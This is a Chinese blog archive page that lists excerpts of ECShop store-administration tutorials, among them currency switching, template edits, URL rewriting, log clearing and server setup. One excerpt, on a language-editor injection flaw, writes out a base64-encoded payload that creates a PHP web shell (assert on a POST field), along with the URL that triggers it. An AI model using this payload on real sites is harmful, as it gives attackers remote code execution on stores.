分类归档

网站开发

FWQ
网站开发
ecshop多货币解决方案
1、首先在我们的后台网店设置里要添加汇率转换的功能,如何添加网店功能自己摸索一下,你要把添加的功能插入表里。如图:   我们的汇率都是和美元进行转换的。   2、开始前台实现:首先我们在首页加上多语言的链接如图:     我们看下他的url   <UL> <LI><A href=”{$url_head}¤cy=USD”><IMG src=”images/USD.gif”> US Dollar</A></LI> <LI><A href=”{$url_head}¤cy=EUR”><IMG src=”images/EUR.gif”> Euro</A></LI> <LI><A href=”{$url_head}¤cy=GBP”><IMG src=”images/GBP.gif”> British Pound</A></LI> <LI><A href=”{$url_head}¤cy=CNY”><IMG src=”images/CNY.gif”> China RMB</A></LI> <LI><A…
2025-04-24 阅读全文 →
FWQ
网站开发
如何修改ECSHOP后台管理中心的Title信息
下图中红色圈定的部分就是本次修改要改的地方 修改方法其实很简单的: 打开语言包文件  /languages/zh_cn/admin/common.php   将 $_LANG[‘app_name’] = ‘ECSHOP’; $_LANG[‘cp_home’] = ‘ECSHOP 管理中心’; 修改为 $_LANG[‘app_name’] = ‘ECSHOP120.com’; $_LANG[‘cp_home’] = ‘ECSHOP120.com 管理中心’;
2025-04-24 阅读全文 →
FWQ
网站开发
如何修改ecshop订单打印格式
大多数朋友第一意识可能会想到去模板文件夹(/themes/default/) 下找订单打印的模板文件, 其实这个模板文件是在 /data/ 目录下,文件名为 order_print.html 。 用EDITPLUS 或者 dreamweaver 打开 /data/order_print.html ,就可以修改订单打印的格式了
2025-04-24 阅读全文 →
FWQ
网站开发
ECSHOP如何只开启个别页面的URL重写(rewrite
最近看到有人在ECSHOP论坛发帖询问类似问题,觉得比较新颖,就写了下共享了出来。 问题: 如何只开启商品页面的rewite,也就是说只是将商品页链接形式修改为 goods-12.html 的形式,而类别页、品牌页还保持原来的动态形式,即还保持 /category.php?id=4   或者  /brand.php?id=1  的形式 修改方法: 注意: 此方法前提是你已经在后台开启了伪静态。 此方法的优点:修改起来很简单, 缺点:只是类别页面(列表)或品牌页面的链接形式不再是伪静态形式。并没有从根本上彻底的删除掉这些页面的URL重写规则。 打开 includes/lib_common.php   文件 找到 case ‘category’: 在它下面增加一行代码 $rewrite = NULL; 继续找到 case ‘brand’: 同样在它下面增加一行…
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop调用文章内图的方法总结
好模板在老早之前就出过类似的文章,如 设置  与  两篇文章,都提到过方法,因为ecshop采用的php的smarty框架,我们把文章功能扩大起来也很简单。这里简述一二: 第一篇文章,采用的是读取的方式,读到文章描述里的图,比较精确,如果要调用全站文章分类,只需要在array 里列表分类ID即可。 方法高效,调用简单 第二篇文章,采用直接获取文章附件的方法,如果附件不是图片,也会调用出来,方法可行,但是不精确,不建议采用此类方法。 好模板提供另外一条思路。在ecshop文章添加页增加个表单,提交按钮时直接获取文章的第一个图作为缩略图,或者直接可以添加,那么在article表增加一字段即可。 前台直接获取该字段图片路径显示。 是不是方法更简单了? 具体如何实现,代码如何来写,欢迎联系好模板完成!
2025-04-24 阅读全文 →
FWQ
网站开发
快速清除ecshop管理员日志优化数据库
我们经常在ecshop后台编辑文章,上架商品,还有添加商品评论等等,结果导致在ecshop管理中心的管理员日志,已经有N条信息了。而且我们数据库空间都有限的,那么怎么清除这些没有太大作用的数据呢? 登录ECSHOP后台点击左栏“数据库管理”》》“SQL查询” ,在右边输入框中输入 TRUNCATE `ecs_admin_log`; 注意:如果你的数据表前缀 不是 ecs_ 请自行修改 执行完毕后,系统自动删除管理员日志。如下图: 这样就可以把管理员日志清除,您现在就可以查一下,管理日志(权限管理——管理日志)是不是已经清空了,为了更加提高网站的运行效率、提高mysql数据库查询速度,建议把mysql数据库再优化一下,在ecshop后台,找到“数据库管理”——数据表优化,点击右边的“开始进行数据表优化”,就可以将程序产生的碎片全部清除了。同时,你的mysql数据库容量也会变得更精炼,工作也就更有效率。
2025-04-24 阅读全文 →
FWQ
网站开发
在Centso服务器上安装ECShop详细方法
1.安装基本的环境:PHP,Mysql5.0+等   2.下载ECShop包,解压,将Upload目录下的文件放到/etc/ECShopV2_7目录下   注意:注意修改ECShop的所有着为Apache,(apaceh为拥有者,因为着有最高权限去访问项目资源),</span>   sudo chown -R apache:apache /etc/ECShopV2_7    查看项目拥有者:   cd  /etc   ll -l ECShopV2_7     当然还有另外一种不好的办法-将/etc/ECshopV2_7目录权限改为777,这种做法不安全,     3.配置ECShop.conf文件,放到/etc/httpd/conf.d/目录下   #…
2025-04-24 阅读全文 →
FWQ
网站开发
ECSHOP语言项库注入漏洞分析和修复
1.ECSHOP语言库注入漏洞利用 1) 登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 2) 添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为: <?php assert( $_POST[x] ); ?> 3) 访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php 2.产生原因 在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。   for ($i = 0; $i <…
2025-04-24 阅读全文 →
FWQ
网站开发
修改ECSHOP系统红包序列号规律
ECSHOP系统线下发放红包时系统生成的红包序列号是在10000的基础上增加四位随机数字。如果当我们要发放大额度红包的时候,这样的序列号规则难免给人不安全的感觉,万一真的有哪个无聊的人,用一天时间来蒙几个红包序列号出来,那就亏大了。因为最多只要试10000次就可以了,所以我们需要更改一下系统的红包序列号发放规则,让红包的序列号是由a-z,A-Z,0-9的字符组合而成,下面给出修改方法:   1、修改ecs_user_bonus表中bonus_sn字段的数据类型 ECSHOP 2.7.2中该字段类型为bigint,我们需要修改为varchar。 ALTER TABLE  `ecs_user_bonus` CHANGE  `bonus_sn`  `bonus_sn` VARCHAR( 32 ) NOT NULL DEFAULT  ’0′   2、修改js/user.js文件中对红包序列号验证的部分   在文件的672行左右,找到 var reg = /^[0-9]{10}$/; 修改为: var…
2025-04-24 阅读全文 →